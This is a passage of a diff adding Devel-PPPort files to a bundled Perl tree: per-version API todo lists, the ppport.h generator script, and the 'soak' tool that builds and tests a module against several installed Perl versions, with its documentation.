+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019005
@@ -0,0 +1 @@
+5.019005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019006
new file mode 100644
index 00000000000..f14fb0c0c4b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019006
@@ -0,0 +1 @@
+5.019006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019007
new file mode 100644
index 00000000000..c34055ea2af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019007
@@ -0,0 +1,2 @@
+5.019007
+OP_TYPE_IS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019008
new file mode 100644
index 00000000000..8fe2e2f1ded
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019008
@@ -0,0 +1 @@
+5.019008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019009
new file mode 100644
index 00000000000..7706f723a00
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019009
@@ -0,0 +1,5 @@
+5.019009
+_to_utf8_fold_flags # A
+_to_utf8_lower_flags # A
+_to_utf8_title_flags # A
+_to_utf8_upper_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019010
new file mode 100644
index 00000000000..8bdae66ddbe
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019010
@@ -0,0 +1,2 @@
+5.019010
+OP_TYPE_IS_OR_WAS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019011
new file mode 100644
index 00000000000..2436c20fa66
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5019011
@@ -0,0 +1 @@
+5.019011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020000
new file mode 100644
index 00000000000..0c909259446
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020000
@@ -0,0 +1 @@
+5.020000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020001
new file mode 100644
index 00000000000..1448fe7920c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020001
@@ -0,0 +1 @@
+5.020001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020002
new file mode 100644
index 00000000000..e31c0d0f492
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020002
@@ -0,0 +1 @@
+5.020002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020003
new file mode 100644
index 00000000000..89ec61981a0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5020003
@@ -0,0 +1 @@
+5.020003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021000
new file mode 100644
index 00000000000..b3138ab9c57
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021000
@@ -0,0 +1 @@
+5.021000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021001
new file mode 100644
index 00000000000..6e66213f6ea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021001
@@ -0,0 +1,12 @@
+5.021001
+_is_in_locale_category # U
+_is_utf8_char_slow # U
+_is_utf8_idcont # U
+_is_utf8_idstart # U
+_is_utf8_xidcont # U
+_is_utf8_xidstart # U
+isALNUM_lazy # U
+isIDFIRST_lazy # U
+isUTF8_CHAR # U
+markstack_grow # E (Perl_markstack_grow)
+my_strerror # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021002
new file mode 100644
index 00000000000..abe5ac12465
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021002
@@ -0,0 +1,3 @@
+5.021002
+grok_number_flags # U
+op_sibling_splice # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021004
new file mode 100644
index 00000000000..3a62526e13b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021004
@@ -0,0 +1,5 @@
+5.021004
+cv_set_call_checker_flags # U
+grok_infnan # U
+isinfnan # U
+sync_locale # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021005
new file mode 100644
index 00000000000..2a02ad28b68
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021005
@@ -0,0 +1,4 @@
+5.021005
+cv_name # A
+newMETHOP # U
+newMETHOP_named # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021006
new file mode 100644
index 00000000000..fbefd16d47b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021006
@@ -0,0 +1,3 @@
+5.021006
+newDEFSVOP # U
+op_convert_list # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021007
new file mode 100644
index 00000000000..6b8b9ba7072
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021007
@@ -0,0 +1,9 @@
+5.021007
+PadnameUTF8 # E
+is_invariant_string # U
+newPADNAMELIST # U
+newPADNAMEouter # U
+newPADNAMEpvn # U
+newUNOP_AUX # E
+padnamelist_fetch # U
+padnamelist_store # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021008
new file mode 100644
index 00000000000..ccba00cb34d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021008
@@ -0,0 +1,2 @@
+5.021008
+sv_get_backrefs # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021009
new file mode 100644
index 00000000000..7397722a252
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021009
@@ -0,0 +1 @@
+5.021009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021010
new file mode 100644
index 00000000000..821a8fb6294
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021010
@@ -0,0 +1,2 @@
+5.021010
+DECLARATION_FOR_LC_NUMERIC_MANIPULATION # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021011
new file mode 100644
index 00000000000..22e73021545
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5021011
@@ -0,0 +1 @@
+5.021011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022000
new file mode 100644
index 00000000000..aca319e5cdd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022000
@@ -0,0 +1,2 @@
+5.022000
+UVCHR_SKIP # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022001
new file mode 100644
index 00000000000..28befba2cdf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5022001
@@ -0,0 +1 @@
+5.022001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023000
new file mode 100644
index 00000000000..e461a326691
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023000
@@ -0,0 +1 @@
+5.023000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023001
new file mode 100644
index 00000000000..ea44212d3c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023001
@@ -0,0 +1 @@
+5.023001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023002
new file mode 100644
index 00000000000..2060466c2ad
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023002
@@ -0,0 +1 @@
+5.023002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023003
new file mode 100644
index 00000000000..4b19a2410ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023003
@@ -0,0 +1 @@
+5.023003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023004
new file mode 100644
index 00000000000..ce60a67e7aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023004
@@ -0,0 +1 @@
+5.023004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023005
new file mode 100644
index 00000000000..1b8818c372d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023005
@@ -0,0 +1 @@
+5.023005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023006
new file mode 100644
index 00000000000..f6c59949af8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023006
@@ -0,0 +1 @@
+5.023006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023007
new file mode 100644
index 00000000000..fb7c55335da
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023007
@@ -0,0 +1 @@
+5.023007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023008
new file mode 100644
index 00000000000..ed2ef6d2eb0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023008
@@ -0,0 +1,22 @@
+5.023008
+clear_defarray # U
+cx_popblock # U
+cx_popeval # U
+cx_popformat # U
+cx_popgiven # U
+cx_poploop # U
+cx_popsub # U
+cx_popsub_args # U
+cx_popsub_common # U
+cx_popwhen # U
+cx_pushblock # U
+cx_pusheval # U
+cx_pushformat # U
+cx_pushgiven # U
+cx_pushloop_for # U
+cx_pushloop_plain # U
+cx_pushsub # U
+cx_pushwhen # U
+cx_topblock # U
+leave_adjust_stacks # U
+savetmps # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023009
new file mode 100644
index 00000000000..336b09a3eea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5023009
@@ -0,0 +1,5 @@
+5.023009
+toFOLD_uvchr # U
+toLOWER_uvchr # U
+toTITLE_uvchr # U
+toUPPER_uvchr # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5024000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5024000
new file mode 100644
index 00000000000..6a5e2484a10
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5024000
@@ -0,0 +1,45 @@
+5.024000
+BhkDISABLE # E
+BhkENABLE # E
+BhkENTRY_set # E
+MULTICALL # E
+PERL_SYS_TERM # E
+POP_MULTICALL # E
+PUSH_MULTICALL # E
+PadARRAY # E
+PadMAX # E
+PadlistARRAY # E
+PadlistMAX # E
+PadlistNAMES # E
+PadlistNAMESARRAY # E
+PadlistNAMESMAX # E
+PadnameLEN # E
+PadnamePV # E
+PadnameREFCNT # E
+PadnameREFCNT_dec # E
+PadnameSV # E
+PadnamelistARRAY # E
+PadnamelistMAX # E
+PadnamelistREFCNT # E
+PadnamelistREFCNT_dec # E
+RESTORE_LC_NUMERIC # E
+STORE_LC_NUMERIC_FORCE_TO_UNDERLYING # E
+STORE_LC_NUMERIC_SET_TO_NEEDED # E
+XS_APIVERSION_BOOTCHECK # E
+XS_EXTERNAL # E
+XS_INTERNAL # E
+XS_VERSION_BOOTCHECK # E
+XopDISABLE # E
+XopENABLE # E
+XopENTRY # E
+XopENTRYCUSTOM # E
+XopENTRY_set # E
+cophh_new_empty # E
+my_lstat # U (Perl_my_lstat)
+my_stat # U (Perl_my_stat)
+reentrant_free # U
+reentrant_init # U
+reentrant_retry # U
+reentrant_size # U
+ref # U (Perl_ref)
+sv_setref_pvs # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL
new file mode 100644
index 00000000000..b7877b32774
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL
@@ -0,0 +1,19 @@
+################################################################################
+#
+# ppport_h.PL -- generate ppport.h
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+package Devel::PPPort;
+require "./PPPort.pm";
+rename 'ppport.h', 'ppport.old' if -f 'ppport.h';
+unlink "ppport.old" if WriteFile("ppport.h") && -f 'ppport.h';
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/soak b/gnu/usr.bin/perl/dist/Devel-PPPort/soak
new file mode 100644
index 00000000000..391cffedf23
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/soak
@@ -0,0 +1,600 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# soak -- Test Perl modules with multiple Perl releases.
+#
+# Original Author: Paul Marquess
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+require 5.006001;
+
+use strict;
+use warnings;
+use ExtUtils::MakeMaker;
+use Getopt::Long;
+use Pod::Usage;
+use File::Find;
+use List::Util qw(max);
+use Config;
+
+my $VERSION = '3.36';
+
+$| = 1;
+my %OPT = (
+ verbose => 0,
+ make => $Config{make} || 'make',
+ min => '5.000',
+ color => 1,
+);
+
+GetOptions(\%OPT, qw(verbose make=s min=s mmargs=s@ color!)) or pod2usage(2);
+
+$OPT{mmargs} = [''] unless exists $OPT{mmargs};
+$OPT{min} = parse_version($OPT{min}) - 1e-10;
+
+sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }
+
+my @GoodPerls = map { $_->[0] }
+ sort { $a->[1] <=> $b->[1] or $a->[0] cmp $b->[0] }
+ grep { $_->[1] >= $OPT{min} }
+ map { [$_ => perl_version($_)] }
+ @ARGV ? SearchPerls(@ARGV) : FindPerls();
+
+unless (@GoodPerls) {
+ print "Sorry, got no Perl binaries for testing.\n\n";
+ exit 0;
+}
+
+my $maxlen = max(map length, @GoodPerls) + 3;
+my $mmalen = max(map length, @{$OPT{mmargs}});
+$maxlen += $mmalen+3 if $mmalen > 0;
+
+my $rep = Soak::Reporter->new( verbose => $OPT{verbose}
+ , color => $OPT{color}
+ , width => $maxlen
+ );
+
+$SIG{__WARN__} = sub { $rep->warn(@_) };
+$SIG{__DIE__} = sub { $rep->die(@_) };
+
+# prime the pump, so the first "make realclean" will work.
+runit("$^X Makefile.PL") && runit("$OPT{make} realclean")
+ or $rep->die("Cannot run $^X Makefile.PL && $OPT{make} realclean\n");
+
+my $tot = @GoodPerls*@{$OPT{mmargs}};
+
+$rep->set(tests => $tot);
+
+$rep->status(sprintf("Testing %d version%s / %d configuration%s (%d combination%s)...\n",
+ cs(@GoodPerls), cs(@{$OPT{mmargs}}), cs($tot)));
+
+for my $perl (@GoodPerls) {
+ for my $mm (@{$OPT{mmargs}}) {
+ $rep->set(perl => $perl, config => $mm);
+
+ $rep->test;
+
+ my @warn_mfpl;
+ my @warn_make;
+ my @warn_test;
+
+ my $ok = runit("$perl Makefile.PL $mm", \@warn_mfpl) &&
+ runit("$OPT{make}", \@warn_make) &&
+ runit("$OPT{make} test", \@warn_test);
+
+ $rep->warnings(['Makefile.PL' => \@warn_mfpl],
+ ['make' => \@warn_make],
+ ['make test' => \@warn_test]);
+
+ if ($ok) {
+ $rep->passed;
+ }
+ else {
+ $rep->failed;
+ }
+
+ runit("$OPT{make} realclean");
+ }
+}
+
+exit $rep->finish;
+
+sub runit
+{
+ # TODO -- portability alert!!
+
+ my($cmd, $warn) = @_;
+ $rep->vsay("\n Running [$cmd]");
+ my $output = `$cmd 2>&1`;
+ $output = "\n" unless defined $output;
+ $output =~ s/^/ > /gm;
+ $rep->say("\n Output:\n$output") if $OPT{verbose} || $?;
+ if ($?) {
+ $rep->warn(" Running '$cmd' failed: $?\n");
+ return 0;
+ }
+ push @$warn, $output =~ /(warning: .*)/ig;
+ return 1;
+}
+
+sub FindPerls
+{
+ # TODO -- need to decide how far back we go.
+ # TODO -- get list of user releases prior to 5.004
+ # TODO -- does not work on Windows (at least)
+
+ # find versions of Perl that are available
+ my @PerlBinaries = qw(
+ 5.000
+ 5.001
+ 5.002
+ 5.003
+ 5.004 5.00401 5.00402 5.00403 5.00404 5.00405
+ 5.005 5.00501 5.00502 5.00503 5.00504
+ 5.6.0 5.6.1 5.6.2
+ 5.7.0 5.7.1 5.7.2 5.7.3
+ 5.8.0 5.8.1 5.8.2 5.8.3 5.8.4 5.8.5 5.8.6 5.8.7 5.8.8
+ 5.9.0 5.9.1 5.9.2 5.9.3
+ );
+
+ print "Searching for Perl binaries...\n";
+
+ # find_perl will send a warning to STDOUT if it can't find
+ # the requested perl, so need to temporarily silence STDOUT.
+ tie *STDOUT, 'NoSTDOUT';
+
+ my $mm = MM->new( { NAME => 'dummy' });
+ my @path = $mm->path;
+ my @GoodPerls;
+
+ for my $perl (@PerlBinaries) {
+ if (my $abs = $mm->find_perl($perl, ["perl$perl"], \@path, 0)) {
+ push @GoodPerls, $abs;
+ }
+ }
+
+ untie *STDOUT;
+
+ print "\nFound:\n", (map " $_\n", @GoodPerls), "\n";
+
+ return @GoodPerls;
+}
+
+sub SearchPerls
+{
+ my @args = @_;
+ my @perls;
+
+ for my $arg (@args) {
+ if (-d $arg) {
+ my @found;
+ print "Searching for Perl binaries in '$arg'...\n";
+ find({ wanted => sub {
+ $File::Find::name =~ m!perl5[\w._]+$!
+ and -f $File::Find::name
+ and -x $File::Find::name
+ and perl_version($File::Find::name)
+ and push @found, $File::Find::name;
+ }, follow => 1 }, $arg);
+ printf "Found %d Perl binar%s in '%s'.\n\n", cs(@found, 'y', 'ies'), $arg;
+ push @perls, @found;
+ }
+ else {
+ push @perls, $arg;
+ }
+ }
+
+ return @perls;
+}
+
+sub perl_version
+{
+ my $perl = shift;
+ my $ver = `$perl -e 'print \$]' 2>&1`;
+ return $? == 0 && $ver =~ /^\d+\.\d+/ && $ver >= 5 ? $ver : 0;
+}
+
+sub parse_version
+{
+ my $ver = shift;
+
+ if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+ return $1 + 1e-3*$2 + 1e-6*$3;
+ }
+ elsif ($ver =~ /^\d+\.[\d_]+$/) {
+ $ver =~ s/_//g;
+ return $ver;
+ }
+
+ die "cannot parse version '$ver'\n";
+}
+
+package NoSTDOUT;
+
+use Tie::Handle;
+our @ISA = qw(Tie::Handle);
+
+sub TIEHANDLE { bless \(my $s = ''), shift }
+sub PRINT {}
+sub WRITE {}
+
+package Soak::Reporter;
+
+use strict;
+
+sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }
+
+sub new
+{
+ my $class = shift;
+ bless {
+ tests => undef,
+ color => 1,
+ verbose => 0,
+ @_,
+ _cur => 0,
+ _atbol => 1,
+ _total => 0,
+ _good => [],
+ _bad => [],
+ }, $class;
+}
+
+sub colored
+{
+ my $self = shift;
+
+ if ($self->{color}) {
+ my $c = eval {
+ require Term::ANSIColor;
+ Term::ANSIColor::colored(@_);
+ };
+
+ if ($@) {
+ $self->{color} = 0;
+ }
+ else {
+ return $c;
+ }
+ }
+
+ return $_[0];
+}
+
+sub _config
+{
+ my $self = shift;
+ return $self->{config} =~ /\S+/ ? " ($self->{config})" : '';
+}
+
+sub _progress
+{
+ my $self = shift;
+ return '' unless defined $self->{tests};
+ my $tlen = length $self->{tests};
+ my $text = sprintf "[%${tlen}d/%${tlen}d] ", $self->{_cur}, $self->{tests};
+ return $self->colored($text, 'bold');
+}
+
+sub _test
+{
+ my $self = shift;
+ return $self->_progress . "Testing "
+ . $self->colored($self->{perl}, 'blue')
+ . $self->colored($self->_config, 'green');
+}
+
+sub _testlen
+{
+ my $self = shift;
+ return length("Testing " . $self->{perl} . $self->_config);
+}
+
+sub _dots
+{
+ my $self = shift;
+ return '.' x $self->_dotslen;
+}
+
+sub _dotslen
+{
+ my $self = shift;
+ return $self->{width} - length($self->{perl} . $self->_config);
+}
+
+sub _sep
+{
+ my $self = shift;
+ my $width = shift;
+ $self->print($self->colored('-'x$width, 'bold'), "\n");
+}
+
+sub _vsep
+{
+ goto &_sep if $_[0]->{verbose};
+}
+
+sub set
+{
+ my $self = shift;
+ while (@_) {
+ my($k, $v) = splice @_, 0, 2;
+ $self->{$k} = $v;
+ }
+}
+
+sub test
+{
+ my $self = shift;
+ $self->{_cur}++;
+ $self->_vsep($self->_testlen);
+ $self->print($self->_test, $self->{verbose} ? "\n" : ' ' . $self->_dots . ' ');
+ $self->_vsep($self->_testlen);
+}
+
+sub _warnings
+{
+ my($self, $mode) = @_;
+
+ my $warnings = 0;
+ my $differ = 0;
+
+ for my $w (@{$self->{_warnings}}) {
+ if (@{$w->[1]}) {
+ $warnings += @{$w->[1]};
+ $differ++;
+ }
+ }
+
+ my $rv = '';
+
+ if ($warnings) {
+ if ($mode eq 'summary') {
+ $rv .= sprintf " (%d warning%s", cs($warnings);
+ }
+ else {
+ $rv .= "\n";
+ }
+
+ for my $w (@{$self->{_warnings}}) {
+ if (@{$w->[1]}) {
+ if ($mode eq 'detail') {
+ $rv .= " Warnings during '$w->[0]':\n";
+ my $cnt = 1;
+ for my $msg (@{$w->[1]}) {
+ $rv .= sprintf " [%d] %s", $cnt++, $msg;
+ }
+ $rv .= "\n";
+ }
+ else {
+ unless ($self->{verbose}) {
+ $rv .= $differ == 1 ? " during " . $w->[0]
+ : sprintf(", %d during %s", scalar @{$w->[1]}, $w->[0]);
+ }
+ }
+ }
+ }
+
+ if ($mode eq 'summary') {
+ $rv .= ')';
+ }
+ }
+
+ return $rv;
+}
+
+sub _result
+{
+ my($self, $text, $color) = @_;
+ my $sum = $self->_warnings('summary');
+ my $len = $self->_testlen + $self->_dotslen + length($text) + length($sum) + 2;
+
+ $self->_vsep($len);
+ $self->print($self->_test, ' ', $self->_dots, ' ') if $self->{verbose} || $self->{_atbol};
+ $self->print($self->colored($text, $color));
+ $self->print($self->colored($sum, 'red'));
+ $self->print("\n");
+ $self->_vsep($len);
+ $self->print($self->_warnings('detail')) if $self->{verbose};
+ $self->{_total}++;
+}
+
+sub passed
+{
+ my $self = shift;
+ $self->_result(@_, 'ok', 'bold green');
+ push @{$self->{_good}}, [$self->{perl}, $self->{config}];
+}
+
+sub failed
+{
+ my $self = shift;
+ $self->_result(@_, 'not ok', 'bold red');
+ push @{$self->{_bad}}, [$self->{perl}, $self->{config}];
+}
+
+sub warnings
+{
+ my $self = shift;
+ $self->{_warnings} = \@_;
+}
+
+sub _tobol
+{
+ my $self = shift;
+ print "\n" unless $self->{_atbol};
+ $self->{_atbol} = 1;
+}
+
+sub print
+{
+ my $self = shift;
+ my $text = join '', @_;
+ print $text;
+ $self->{_atbol} = $text =~ /[\r\n]$/;
+}
+
+sub say
+{
+ my $self = shift;
+ $self->_tobol;
+ $self->print(@_, "\n");
+}
+
+sub vsay
+{
+ goto &say if $_[0]->{verbose};
+}
+
+sub warn
+{
+ my $self = shift;
+ $self->say($self->colored(join('', @_), 'red'));
+}
+
+sub die
+{
+ my $self = shift;
+ $self->say($self->colored(join('', 'FATAL: ', @_), 'bold red'));
+ exit -1;
+}
+
+sub status
+{
+ my($self, $text) = @_;
+ $self->_tobol;
+ $self->print($self->colored($text, 'bold'), "\n");
+}
+
+sub finish
+{
+ my $self = shift;
+
+ if (@{$self->{_bad}}) {
+ $self->status("\nFailed with:");
+ for my $fail (@{$self->{_bad}}) {
+ my($perl, $cfg) = @$fail;
+ $self->set(config => $cfg);
+ $self->say(" ", $self->colored($perl, 'blue'), $self->colored($self->_config, 'green'));
+ }
+ }
+
+ $self->status(sprintf("\nPassed with %d of %d combination%s.\n",
+ scalar @{$self->{_good}}, cs($self->{_total})));
+
+ return scalar @{$self->{_bad}};
+}
+
+__END__
+
+=head1 NAME
+
+soak - Test Perl modules with multiple Perl releases
+
+=head1 SYNOPSIS
+
+ soak [options] [perl ...]
+
+ --make=program override name of make program ($Config{make})
+ --min=version use at least this version of perl
+ --mmargs=options pass options to Makefile.PL (multiple --mmargs
+ possible)
+ --verbose be verbose
+ --nocolor don't use colored output
+
+=head1 DESCRIPTION
+
+The F<soak> utility can be used to test Perl modules with
+multiple Perl releases or build options. It automates the
+task of running F<Makefile.PL> and the modules test suite.
+
+It is not primarily intended for cross-platform checking,
+so don't expect it to work on all platforms.
+
+=head1 EXAMPLES
+
+To test your favourite module, just change to its root
+directory (where the F<Makefile.PL> is located) and run:
+
+ soak
+
+This will automatically look for Perl binaries installed
+on your system.
+
+Alternatively, you can explicitly pass F<soak> a list of
+Perl binaries:
+
+ soak perl5.8.6 perl5.9.2
+
+Last but not least, you can pass it a list of directories
+to recursively search for Perl binaries, for example:
+
+ soak /tmp/perl/install /usr/bin
+
+All of the above examples will run
+
+ perl Makefile.PL
+ make
+ make test
+
+for your module and report success or failure.
+
+If your F<Makefile.PL> can take arguments, you may also
+want to test different configurations for your module.
+You can do so with the I<--mmargs> option:
+
+ soak --mmargs=' ' --mmargs='CCFLAGS=-Wextra' --mmargs='enable-debug'
+
+This will run
+
+ perl Makefile.PL
+ make
+ make test
+ perl Makefile.PL CCFLAGS=-Wextra
+ make
+ make test
+ perl Makefile.PL enable-debug
+ make
+ make test
+
+for each Perl binary.
+
+If you have a directory full of different Perl binaries,
+but your module isn't expected to work with ancient perls,
+you can use the I<--min> option to specify the minimum
+version a Perl binary must have to be chosen for testing:
+
+ soak --min=5.8.1
+
+Usually, the output of F<soak> is rather terse, to give
+you a good overview. If you'd like to see more of what's
+going on, use the I<--verbose> option:
+
+ soak --verbose
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t
new file mode 100644
index 00000000000..6bf39f10db4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t
@@ -0,0 +1,56 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/HvNAME instead.
+#
+# This file was automatically generated from the definition files in the
